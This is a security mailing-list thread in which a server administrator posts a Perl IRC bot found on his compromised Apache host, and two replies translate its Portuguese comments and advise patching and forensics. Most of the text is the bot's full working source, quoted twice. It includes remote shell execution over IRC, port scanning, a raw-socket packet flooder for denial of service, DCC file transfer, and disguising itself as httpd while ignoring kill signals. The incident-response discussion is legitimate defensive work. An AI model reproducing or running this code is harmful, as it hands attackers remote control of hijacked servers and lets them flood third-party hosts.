> my $hostip=3D"$1";
> my @portas=3D("21","22","23","25","53","80","110","14 3");
> my (@aberta, %porta_banner);
> foreach my $porta (@portas) {
> my $scansock =3D IO::Socket::INET->new(PeerAddr =3D> $host=
ip, PeerPort =3D> $porta, Proto =3D> 'tcp', Timeout =3D> 4);
> if ($scansock) {
> push (@aberta, $porta);
> $scansock->close;
> }
> }
>=20
> if (@aberta) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl ortas abertas: =
@aberta");
> } else {
> sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta a=
berta foi encontrada");
> }
> }
> if ($funcarg =3D~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
> my ($dtime, %pacotes) =3D attacker("$1", "$2", "$3");
> $dtime =3D 1 if $dtime =3D=3D 0;
> my %bytes;
> $bytes{igmp} =3D $2 * $pacotes{igmp};
> $bytes{icmp} =3D $2 * $pacotes{icmp};
> $bytes{o} =3D $2 * $pacotes{o};
> $bytes{udp} =3D $2 * $pacotes{udp};
> $bytes{tcp} =3D $2 * $pacotes{tcp};
>=20
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dt=
ime"."s");
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M=E9dia de env=
io\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$d=
time)." kbps");
>=20
> }
> exit;
> }
> }
> }
>=20
> sub ircase {
> my ($kem, $printl, $case) =3D @_;
>=20
> if ($case =3D~ /^join (.*)/) {
> j("$1");
> }
> if ($case =3D~ /^part (.*)/) {
> p("$1");
> }
> if ($case =3D~ /^rejoin\s+(.*)/) {
> my $chan =3D $1;
> if ($chan =3D~ /^(\d+) (.*)/) {
> for (my $ca =3D 1; $ca <=3D $1; $ca++ ) {
> p("$2");
> j("$2");
> }
> } else {
> p("$chan");
> j("$chan");
> }
> }
> if ($case =3D~ /^op/) {
> op("$printl", "$kem") if $case eq "op";
> my $oarg =3D substr($case, 3);
> op("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
> }
> if ($case =3D~ /^deop/) {
> deop("$printl", "$kem") if $case eq "deop";
> my $oarg =3D substr($case, 5);
> deop("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
> }
> if ($case =3D~ /^voice/) {
> voice("$printl", "$kem") if $case eq "voice";
> $oarg =3D substr($case, 6);
> voice("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
> }
> if ($case =3D~ /^devoice/) {
> devoice("$printl", "$kem") if $case eq "devoice";
> $oarg =3D substr($case, 8);
> devoice("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
> }
> if ($case =3D~ /^msg\s+(\S+) (.*)/) {
> msg("$1", "$2");
> }
> if ($case =3D~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf =3D 1; $cf <=3D $1; $cf++) {
> msg("$2", "$3");
> }
> }
> if ($case =3D~ /^ctcp\s+(\S+) (.*)/) {
> ctcp("$1", "$2");
> }
> if ($case =3D~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
> for (my $cf =3D 1; $cf <=3D $1; $cf++) {
> ctcp("$2", "$3");
> }
> }
> if ($case =3D~ /^invite\s+(\S+) (.*)/) {
> invite("$1", "$2");
> }
> if ($case =3D~ /^nick (.*)/) {
> nick("$1");
> }
> if ($case =3D~ /^conecta\s+(\S+)\s+(\S+)/) {
> conectar("$2", "$1", 6667);
> }
> if ($case =3D~ /^send\s+(\S+)\s+(\S+)/) {
> DCC::SEND("$1", "$2");
> }
> if ($case =3D~ /^raw (.*)/) {
> sendraw("$1");
> }
> if ($case =3D~ /^eval (.*)/) {
> eval "$1";
> }
> }
> sub shell {
> return unless $secv;
> my $printl=3D$_[0];
> my $comando=3D$_[1];
> if ($comando =3D~ /cd (.*)/) {
> chdir("$1") || msg("$printl", "Diert=F3rio inexistente!");
> return;
> }
> elsif ($pid =3D fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> my @resp=3D`$comando 2>&1 3>&1`;
> my $c=3D0;
> foreach my $linha (@resp) {
> $c++;
> chop $linha;
> sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
> if ($c =3D=3D "$linas_max") {
> $c=3D0;
> sleep $sleep;
> }
> }
> exit;
> }
> }
> }
>=20
> #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
> sub attacker {
> my $iaddr =3D inet_aton($_[0]);
> my $msg =3D 'B' x $_[1];
> my $ftime =3D $_[2];
> my $cp =3D 0;
> my (%pacotes);
> $pacotes{icmp} =3D $pacotes{igmp} =3D $pacotes{udp} =3D $pacotes{o} =3D =
$pacotes{tcp} =3D 0;
>=20
> socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
> socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
> socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
> socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
> return(undef) if $cp =3D=3D 4;
> my $itime =3D time;
> my ($cur_time);
> while ( 1 ) {
> for (my $porta =3D 1; $porta <=3D 65000; $porta++) {
> $cur_time =3D time - $itime;
> last if $cur_time >=3D $ftime;
> send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp=
}++;
> send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}=
++;
> send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp=
}++;
> send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}=
++;
>=20
> # DoS ?? :P
> for (my $pc =3D 3; $pc <=3D 255;$pc++) {
> next if $pc =3D=3D 6;
> $cur_time =3D time - $itime;
> last if $cur_time >=3D $ftime;
> socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
> send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}=
++;;
> }
> }
> last if $cur_time >=3D $ftime;
> }
> return($cur_time, %pacotes);
> }
>=20
> #############
> # ALIASES #
> #############
>=20
> sub action {
> return unless $#_ =3D=3D 1;
> sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
> }
>=20
> sub ctcp {
> return unless $#_ =3D=3D 1;
> sendraw("PRIVMSG $_[0] :\001$_[1]\001");
> }
> sub msg {
> return unless $#_ =3D=3D 1;
> sendraw("PRIVMSG $_[0] :$_[1]");
> }
>=20
> sub notice {
> return unless $#_ =3D=3D 1;
> sendraw("NOTICE $_[0] :$_[1]");
> }
>=20
> sub op {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] +o $_[1]");
> }
> sub deop {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] -o $_[1]");
> }
> sub hop {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] +h $_[1]");
> }
> sub dehop {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] +h $_[1]");
> }
> sub voice {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] +v $_[1]");
> }
> sub devoice {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] -v $_[1]");
> }
> sub ban {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] +b $_[1]");
> }
> sub unban {
> return unless $#_ =3D=3D 1;
> sendraw("MODE $_[0] -b $_[1]");
> }
> sub kick {
> return unless $#_ =3D=3D 1;
> sendraw("KICK $_[0] $_[1] :$_[2]");
> }
>=20
> sub modo {
> return unless $#_ =3D=3D 0;
> sendraw("MODE $_[0] $_[1]");
> }
> sub mode { modo(@_); }
>=20
> sub j { &join(@_); }
> sub join {
> return unless $#_ =3D=3D 0;
> sendraw("JOIN $_[0]");
> }
> sub p { part(@_); }
> sub part {sendraw("PART $_[0]");}
>=20
> sub nick {
> return unless $#_ =3D=3D 0;
> sendraw("NICK $_[0]");
> }
>=20
> sub invite {
> return unless $#_ =3D=3D 1;
> sendraw("INVITE $_[1] $_[0]");
> }
> sub topico {
> return unless $#_ =3D=3D 1;
> sendraw("TOPIC $_[0] $_[1]");
> }
> sub topic { topico(@_); }
>=20
> sub whois {
> return unless $#_ =3D=3D 0;
> sendraw("WHOIS $_[0]");
> }
> sub who {
> return unless $#_ =3D=3D 0;
> sendraw("WHO $_[0]");
> }
> sub names {
> return unless $#_ =3D=3D 0;
> sendraw("NAMES $_[0]");
> }
> sub away {
> sendraw("AWAY $_[0]");
> }
> sub back { away(); }
> sub quit {
> sendraw("QUIT :$_[0]");
> }
>=20
> # DCC
> package DCC;
>=20
> sub connections {
> my @ready =3D $dcc_sel->can_read(1);
> # return unless (@ready);
> foreach my $fh (@ready) {
> my $dcctipo =3D $DCC{$fh}{tipo};
> my $arquivo =3D $DCC{$fh}{arquivo};
> my $bytes =3D $DCC{$fh}{bytes};
> my $cur_byte =3D $DCC{$fh}{curbyte};
> my $nick =3D $DCC{$fh}{nick};
>=20
> my $msg;
> my $nread =3D sysread($fh, $msg, 10240);
>=20
> if ($nread =3D=3D 0 and $dcctipo =3D~ /^(get|sendcon)$/) {
> $DCC{$fh}{status} =3D "Cancelado";
> $DCC{$fh}{ftime} =3D time;
> $dcc_sel->remove($fh);
> $fh->close;
> next;
> }
>=20
> if ($dcctipo eq "get") {
> $DCC{$fh}{curbyte} +=3D length($msg);
>=20
> my $cur_byte =3D $DCC{$fh}{curbyte};
>=20
> open(FILE, ">> $arquivo");
> print FILE "$msg" if ($cur_byte <=3D $bytes);
> close(FILE);
>=20
> my $packbyte =3D pack("N", $cur_byte);
> print $fh "$packbyte";
>=20
> if ($bytes =3D=3D $cur_byte) {
> $dcc_sel->remove($fh);
> $fh->close;
> $DCC{$fh}{status} =3D "Recebido";
> $DCC{$fh}{ftime} =3D time;
> next;
> }
> } elsif ($dcctipo eq "send") {
> my $send =3D $fh->accept;
> $send->autoflush(1);
> $dcc_sel->add($send);
> $dcc_sel->remove($fh);
> $DCC{$send}{tipo} =3D 'sendcon';
> $DCC{$send}{itime} =3D time;
> $DCC{$send}{nick} =3D $nick;
> $DCC{$send}{bytes} =3D $bytes;
> $DCC{$send}{curbyte} =3D 0;
> $DCC{$send}{arquivo} =3D $arquivo;
> $DCC{$send}{ip} =3D $send->peerhost;
> $DCC{$send}{porta} =3D $send->peerport;
> $DCC{$send}{status} =3D "Enviando";
>=20
> #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik co=
m o sendcon
> open(FILE, "< $arquivo");
> my $fbytes;
> read(FILE, $fbytes, 1024);
> print $send "$fbytes";
> close FILE;
> # delete($DCC{$fh});
> } elsif ($dcctipo eq 'sendcon') {
> my $bytes_sended =3D unpack("N", $msg);
> $DCC{$fh}{curbyte} =3D $bytes_sended;
> if ($bytes_sended =3D=3D $bytes) {
> $fh->close;
> $dcc_sel->remove($fh);
> $DCC{$fh}{status} =3D "Enviado";
> $DCC{$fh}{ftime} =3D time;
> next;
> }
> open(SENDFILE, "< $arquivo");
> seek(SENDFILE, $bytes_sended, 0);
> my $send_bytes;
> read(SENDFILE, $send_bytes, 1024);
> print $fh "$send_bytes";
> close(SENDFILE);
> }
> }
> }
>=20
> sub SEND {
> my ($nick, $arquivo) =3D @_;
> unless (-r "$arquivo") {
> return(0);
> }
>=20
> my $dccark =3D $arquivo;
> $dccark =3D~ s/[.*\/](\S+)/$1/;
>=20
> my $meuip =3D $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
> my $longip =3D unpack("N",inet_aton($meuip));
>=20
> my @filestat =3D stat($arquivo);
> my $size_total=3D$filestat[7];
> if ($size_total =3D=3D 0) {
> return(0);
> }
>=20
> my ($porta, $sendsock);
> do {
> $porta =3D int rand(64511);
> $porta +=3D 1024;
> $sendsock =3D IO::Socket::INET->new(Listen=3D>1, LocalPort =3D>$porta,=
Proto =3D> 'tcp') and $dcc_sel->add($sendsock);
> } until $sendsock;
>=20
> $DCC{$sendsock}{tipo} =3D 'send';
> $DCC{$sendsock}{nick} =3D $nick;
> $DCC{$sendsock}{bytes} =3D $size_total;
> $DCC{$sendsock}{arquivo} =3D $arquivo;
>=20
> &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
>=20
> }
>=20
> sub GET {
> my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) =3D @_;
> return(0) if (-e "$arquivo");
> if (open(FILE, "> $arquivo")) {
> close FILE;
> } else {
> return(0);
> }
>=20
> my $dccip=3Dfixaddr($dcclongip);
> return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
> my $dccsock =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>$dccip=
, PeerPort=3D>$dccporta, Timeout=3D>15) or return (0);
> $dccsock->autoflush(1);
> $dcc_sel->add($dccsock);
> $DCC{$dccsock}{tipo} =3D 'get';
> $DCC{$dccsock}{itime} =3D time;
> $DCC{$dccsock}{nick} =3D $nick;
> $DCC{$dccsock}{bytes} =3D $bytes;
> $DCC{$dccsock}{curbyte} =3D 0;
> $DCC{$dccsock}{arquivo} =3D $arquivo;
> $DCC{$dccsock}{ip} =3D $dccip;
> $DCC{$dccsock}{porta} =3D $dccporta;
> $DCC{$dccsock}{status} =3D "Recebendo";
> }
>=20
> # po fico xato de organiza o status.. dai fiz ele retorna o status de aco=
rdo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
> sub Status {
> my $socket =3D shift;
> my $sock_tipo =3D $DCC{$socket}{tipo};
> unless (lc($sock_tipo) eq "chat") {
> my $nick =3D $DCC{$socket}{nick};
> my $arquivo =3D $DCC{$socket}{arquivo};
> my $itime =3D $DCC{$socket}{itime};
> my $ftime =3D time;
> my $status =3D $DCC{$socket}{status};
> $ftime =3D $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
>=20
> my $d_time =3D $ftime-$itime;
>=20
> my $cur_byte =3D $DCC{$socket}{curbyte};
> my $bytes_total =3D $DCC{$socket}{bytes};
>=20
> my $rate =3D 0;
> $rate =3D ($cur_byte/1024)/$d_time if $cur_byte > 0;
> my $porcen =3D ($cur_byte*100)/$bytes_total;
>=20
> my ($r_duv, $p_duv);
> if ($rate =3D~ /^(\d+)\.(\d)(\d)(\d)/) {
> $r_duv =3D $3; $r_duv++ if $4 >=3D 5;
> $rate =3D "$1\.$2"."$r_duv";
> }
> if ($porcen =3D~ /^(\d+)\.(\d)(\d)(\d)/) {
> $p_duv =3D $3; $p_duv++ if $4 >=3D 5;
> $porcen =3D "$1\.$2"."$p_duv";
> }
> return("$sock_tipo","$status","$nick","$arquivo"," $bytes_total", "$cur=
_byte","$d_time", "$rate", "$porcen");
> }
>=20
> return(0);
> }
>=20
> sub fixaddr {
> my ($address) =3D @_;
>=20
> chomp $address; # just in case, sigh.
> if ($address =3D~ /^\d+$/) {
> return inet_ntoa(pack "N", $address);
> } elsif ($address =3D~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12=
]?\d{1,2}$/) {
> return $address;
> } elsif ($address =3D~ tr/a-zA-Z//) {
> return inet_ntoa(((gethostbyname($address))[4])[0]);
> } else {
> return;
> }
> }
>=20
> --
> andrew y ng <ayn@andrewng.com> http://andrewng.com
> principal, ayn & associates, llc, http://aynassociates.com
>=20
>=20
>

[Daniel Cid]

Take a look at these links:

http://lists.virus.org/full-disclosu.../msg00541.html

http://seclists.org/lists/fulldisclo.../Jan/0051.html

Are your systems patched (apache) ? Do you run any
application that might be vulnerable?

One thing I know is that this perl script is crearly
made by some brazilian people..

--
Daniel B. Cid, CISSP
daniel.cid @ ( at ) gmail.com

--- Andrew Y Ng <ayn@AndrewNg.com> escreveu:
> My server has been seeing some usual activities
> today, I don't have much time
> to get down to the bottom of things, but after I
> investigated briefly I have
> decided to disable PERL executable permission for
> www-data (Apache process's
> user), also locked /var/tmp so www-data cannot write
> to it.
>
> Looks like it ignores all the `kill` signals, not
> sure how I can actually
> kill it...
>
>
> I found the included script in /var/tmp called
> d0s.txt.
>
> I found a bunch of processes called ./atac 20
> running, and found the
> following content in /tmp/atac:
>
> http://andrewng.com/tmp/atac.tbz
>
> here's d0s.txt:
>
> #!/usr/bin/perl
> ################ CONFIGURACAO
>
################################################## ###############
> my $processo = '/usr/local/apache/bin/httpd -DSSL';
> # Nome do processo que vai aparece no ps #
>
#----------------------------------------------################################################
> my $MODOME='+pi'; #
> Modo Do Bot #
>
>
#----------------------------------------------################################################
> my $linas_max='10'; #
> Evita o flood depois de X linhas #
>
#----------------------------------------------################################################
> my $sleep='3'; # ele
> dorme X segundos #
> ##################### IRC
>
################################################## ###################
> my @adms=("DDOS"); # Nick do
> administrador #
>
#----------------------------------------------################################################
> my @canais=("#bots ddos");# Canais
> #
>
#----------------------------------------------################################################
> my $nick='b0t'; # Nick do
> bot. Caso esteja em uso vai aparecer #
> # #
> aparecer com numero radonamico no final #
>
#----------------------------------------------################################################
> my $ircname = 'b0t'; # User ID
> #
>
#----------------------------------------------################################################
> my $realname = '4Admin14: 4#DDOS';
> #
>
#----------------------------------------------################################################
> $servidor='irc.gigachat.net' unless $servidor; #
> Servidor de irc que vai ser usado #
> # #
> caso não seja especificado no argumento #
>
#----------------------------------------------################################################
> my $porta='6667'; # Porta do
> servidor de irc #
> ################ ACESSO A SHELL
>
################################################## #############
> my $secv = 1; # 1/0
> pra habilita/desabilita acesso a shell #
>
################################################## #############################################
>
> my $VERSAO = '1.0';
>
> $SIG{'INT'} = 'IGNORE';
> $SIG{'HUP'} = 'IGNORE';
> $SIG{'TERM'} = 'IGNORE';
> $SIG{'CHLD'} = 'IGNORE';
> $SIG{'PS'} = 'IGNORE';
>
> use IO::Socket;
> use Socket;
> use IO::Select;
> chdir("/");
> $servidor="$ARGV[0]" if $ARGV[0];
> $0="$processo"."\0"x16;;
> my $pid=fork;
> exit if $pid;
> die "Problema com o fork: $!" unless defined($pid);
>
>
>
> our %irc_servers;
> our %DCC;
> my $dcc_sel = new IO::Select->new();
>
>
> $sel_cliente = IO::Select->new();
> sub sendraw {
> if ($#_ == '1') {
> my $socket = $_[0];
> print $socket "$_[1]\n";
> } else {
> print $IRC_cur_socket "$_[0]\n";
> }
> }
>
> sub conectar {
> my $meunick = $_[0];
> my $servidor_con = $_[1];
> my $porta_con = $_[2];
>
> my $IRC_socket =
> IO::Socket::INET->new(Proto=>"tcp",
> PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or
> return(1);
> if (defined($IRC_socket)) {
> $IRC_cur_socket = $IRC_socket;
>
> $IRC_socket->autoflush(1);
> $sel_cliente->add($IRC_socket);
>
> $irc_servers{$IRC_cur_socket}{'host'} =
> "$servidor_con";
> $irc_servers{$IRC_cur_socket}{'porta'} =
> "$porta_con";
> $irc_servers{$IRC_cur_socket}{'nick'} =
> $meunick;
> $irc_servers{$IRC_cur_socket}{'meuip'} =
> $IRC_socket->sockhost;
> nick("$meunick");
> sendraw("USER $ircname
> ".$IRC_socket->sockhost." $servidor_con
> :$realname");
> sleep 1;
> }
>
> }
> my $line_temp;
> while( 1 ) {
> while (!(keys(%irc_servers))) { conectar("$nick",
> "$servidor", "$porta"); }
> delete($irc_servers{''}) if
> (defined($irc_servers{''}));
> &DCC::connections;
> my @ready = $sel_cliente->can_read(0);
> next unless(@ready);
> foreach $fh (@ready) {
> $IRC_cur_socket = $fh;
> $meunick =
> $irc_servers{$IRC_cur_socket}{'nick'};
> $nread = sysread($fh, $msg, 4096);
> if ($nread == 0) {
> $sel_cliente->remove($fh);
> $fh->close;
> delete($irc_servers{$fh});
> }
> @lines = split (/\n/, $msg);
>
> for(my $c=0; $c<= $#lines; $c++) {
> $line = $lines[$c];
> $line=$line_temp.$line if ($line_temp);
> $line_temp='';
> $line =~ s/\r$//;
> unless ($c == $#lines) {
> parse("$line");
> } else {
> if ($#lines == 0) {
> parse("$line");
> } elsif ($lines[$c] =~ /\r$/) {
> parse("$line");
> } elsif ($line =~ /^(\S+) NOTICE AUTH
> :\*\*\*/) {
> parse("$line");
> } else {
> $line_temp = $line;
> }
> }
> }
> }
> }
>
>
>
> sub parse {
> my $servarg = shift;
> if ($servarg =~ /^PING \.*)/) {
> sendraw("PONG :$1");
> } elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?)
> PRIVMSG (.+?) \.+)/) {
> my $pn=$1; my $onde = $4; my $args = $5;
> if ($args =~ /^\001VERSION\001$/) {
> notice("$pn", "\001Bot powered by DDOS
> TEAM\001");
> }
> if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
> if ($onde eq "$meunick"){
> shell("$pn", "$args");
> }
> if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/
> ) {
>
=== message truncated ===





Yahoo! Acesso Grátis - Internet rápida e grátis.
Instale o discador agora! http://br.acesso.yahoo.com/

[Luiz Henrique]

Hi, just a comment: the comments are in portuguese(pt-br) .. it has a
irc bot.. it scans some ports.. am. has a function to execute shell
commands from irc messages.. to execute dos.. and it has nothing to do
with apache:

$0="$processo"."\0"x16;; It changes the name of the program.

Translation:

my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #

pt # Nome do processo que vai aparece no ps

en # Process name show in ps


Someone is playing in your machine. Take a picture of your system
before reinstall it, maybe to anylise how he get in and what else he has
done and update with the last patch's.

Andrew Y Ng wrote:

>My server has been seeing some usual activities today, I don't have much time
>to get down to the bottom of things, but after I investigated briefly I have
>decided to disable PERL executable permission for www-data (Apache process's
>user), also locked /var/tmp so www-data cannot write to it.
>
>Looks like it ignores all the `kill` signals, not sure how I can actually
>kill it...
>
>
>I found the included script in /var/tmp called d0s.txt.
>
>I found a bunch of processes called ./atac 20 running, and found the
>following content in /tmp/atac:
>
>http://andrewng.com/tmp/atac.tbz
>
>here's d0s.txt:
>
>#!/usr/bin/perl
>################ CONFIGURACAO ################################################## ###############
>my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
>#----------------------------------------------################################################
>my $MODOME='+pi'; # Modo Do Bot #
>#----------------------------------------------################################################
>my $linas_max='10'; # Evita o flood depois de X linhas #
>#----------------------------------------------################################################
>my $sleep='3'; # ele dorme X segundos #
>##################### IRC ################################################## ###################
>my @adms=("DDOS"); # Nick do administrador #
>#----------------------------------------------################################################
>my @canais=("#bots ddos");# Canais #
>#----------------------------------------------################################################
>my $nick='b0t'; # Nick do bot. Caso esteja em uso vai aparecer #
># # aparecer com numero radonamico no final #
>#----------------------------------------------################################################
>my $ircname = 'b0t'; # User ID #
>#----------------------------------------------################################################
>my $realname = '4Admin14: 4#DDOS'; #
>#----------------------------------------------################################################
>$servidor='irc.gigachat.net' unless $servidor; # Servidor de irc que vai ser usado #
># # caso n�o seja especificado no argumento #
>#----------------------------------------------################################################
>my $porta='6667'; # Porta do servidor de irc #
>################ ACESSO A SHELL ################################################## #############
>my $secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
>################################################# ##############################################
>
>my $VERSAO = '1.0';
>
>$SIG{'INT'} = 'IGNORE';
>$SIG{'HUP'} = 'IGNORE';
>$SIG{'TERM'} = 'IGNORE';
>$SIG{'CHLD'} = 'IGNORE';
>$SIG{'PS'} = 'IGNORE';
>
>use IO::Socket;
>use Socket;
>use IO::Select;
>chdir("/");
>$servidor="$ARGV[0]" if $ARGV[0];
>$0="$processo"."\0"x16;;
>my $pid=fork;
>exit if $pid;
>die "Problema com o fork: $!" unless defined($pid);
>
>
>
>our %irc_servers;
>our %DCC;
>my $dcc_sel = new IO::Select->new();
>
>
>$sel_cliente = IO::Select->new();
>sub sendraw {
> if ($#_ == '1') {
> my $socket = $_[0];
> print $socket "$_[1]\n";
> } else {
> print $IRC_cur_socket "$_[0]\n";
> }
>}
>
>sub conectar {
> my $meunick = $_[0];
> my $servidor_con = $_[1];
> my $porta_con = $_[2];
>
> my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
> if (defined($IRC_socket)) {
> $IRC_cur_socket = $IRC_socket;
>
> $IRC_socket->autoflush(1);
> $sel_cliente->add($IRC_socket);
>
> $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
> $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
> nick("$meunick");
> sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
> sleep 1;
> }
>
>}
>my $line_temp;
>while( 1 ) {
> while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
> delete($irc_servers{''}) if (defined($irc_servers{''}));
> &DCC::connections;
> my @ready = $sel_cliente->can_read(0);
> next unless(@ready);
> foreach $fh (@ready) {
> $IRC_cur_socket = $fh;
> $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
> $nread = sysread($fh, $msg, 4096);
> if ($nread == 0) {
> $sel_cliente->remove($fh);
> $fh->close;
> delete($irc_servers{$fh});
> }
> @lines = split (/\n/, $msg);
>
> for(my $c=0; $c<= $#lines; $c++) {
> $line = $lines[$c];
> $line=$line_temp.$line if ($line_temp);
> $line_temp='';
> $line =~ s/\r$//;
> unless ($c == $#lines) {
> parse("$line");
> } else {
> if ($#lines == 0) {
> parse("$line");
> } elsif ($lines[$c] =~ /\r$/) {
> parse("$line");
> } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
> parse("$line");
> } else {
> $line_temp = $line;
> }
> }
> }
> }
>}
>
>
>
>sub parse {
> my $servarg = shift;
> if ($servarg =~ /^PING \.*)/) {
> sendraw("PONG :$1");
> } elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \.+)/) {
> my $pn=$1; my $onde = $4; my $args = $5;
> if ($args =~ /^\001VERSION\001$/) {
> notice("$pn", "\001Bot powered by DDOS TEAM\001");
> }
> if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
> if ($onde eq "$meunick"){
> shell("$pn", "$args");
> }
> if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
> my $natrix = $1;
> my $arg = $2;
> if ($arg =~ /^\!(.*)/) {
> ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
> } elsif ($arg =~ /^\@(.*)/) {
> $ondep = $onde;
> $ondep = $pn if $onde eq $meunick;
> bfunc("$ondep","$1");
> } else {
> shell("$onde", "$arg");
> }
> }
> }
> } elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?)\s+NICK\s+\\S+)/i) {
> if (lc($1) eq lc($meunick)) {
> $meunick=$4;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> }
> } elsif ($servarg =~ m/^\.+?)\s+433/i) {
> nick("$meunick".int rand(9999));
> } elsif ($servarg =~ m/^\.+?)\s+001\s+(\S+)\s/i) {
> $meunick = $2;
> $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
> $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
> foreach my $canal (@canais) {
> print "$0 Executado \n";
> sendraw("JOIN $canal");
> sendraw("MODE $meunick $MODOME");
> sendraw("PRIVMSG $canal :Modo Alterado Para4 $MODOME");
> }
> }
>}
>
>sub bfunc {
> my $printl = $_[0];
> my $funcarg = $_[1];
> if (my $pid = fork) {
> waitpid($pid, 0);
> } else {
> if (fork) {
> exit;
> } else {
> if ($funcarg =~ /^portscan (.*)/) {
> my $hostip="$1";
> my @portas=("21","22","23","25","53","80","110","143" );
> my (@aberta, %porta_banner);
> foreach my $porta (@portas) {
> my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
> if ($scansock) {
> push (@aberta, $porta);
> $scansock->close;
> }
> }
>
> if (@aberta) {
> sendraw($IRC_cur_socket, "PRIVMSG $printl ortas abertas: @aberta");
> } else {
> sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada");
> }
> }
> if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
> my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
> $dtime = 1 if $dtime == 0;
> my %bytes;
> $bytes{igmp} = $2 * $pacotes{igmp};
> $bytes{icmp} = $2 * $pacotes{icmp};
> $bytes{o} = $2 * $pacotes{o};
> $bytes{udp} = $2 * $pacotes{udp};
> $bytes{tcp} = $2 * $pacotes{tcp};
>
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
> sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M�dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
>
>
> }
> exit;
> }
> }
>}
>
>sub ircase {
> my ($kem, $printl, $case) = @_;
>
> if ($case =~ /^join (.*)/) {
> j("$1");
> }
> if ($case =~ /^part (.*)/) {
> p("$1");
> }
> if ($case =~ /^rejoin\s+(.*)/) {
> my $chan = $1;
> if ($chan =~ /^(\d+) (.*)/) {
> for (my $ca = 1; $ca <= $1; $ca++ ) {
> p("$2");
> j("$2");
> }
> } else {
> p("$chan");
> j("$chan");
> }
> }
> if ($case =~ /^op/) {
> op("$printl", "$kem") if $case eq "op";
> my $oarg = substr($case, 3);
> op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^deop/) {
> deop("$printl", "$kem") if $case eq "deop";
> my $oarg = substr($case, 5);
> deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
> }
> if ($case =~ /^voice/) {
> voice("$printl", "$kem") if $case eq "voice";
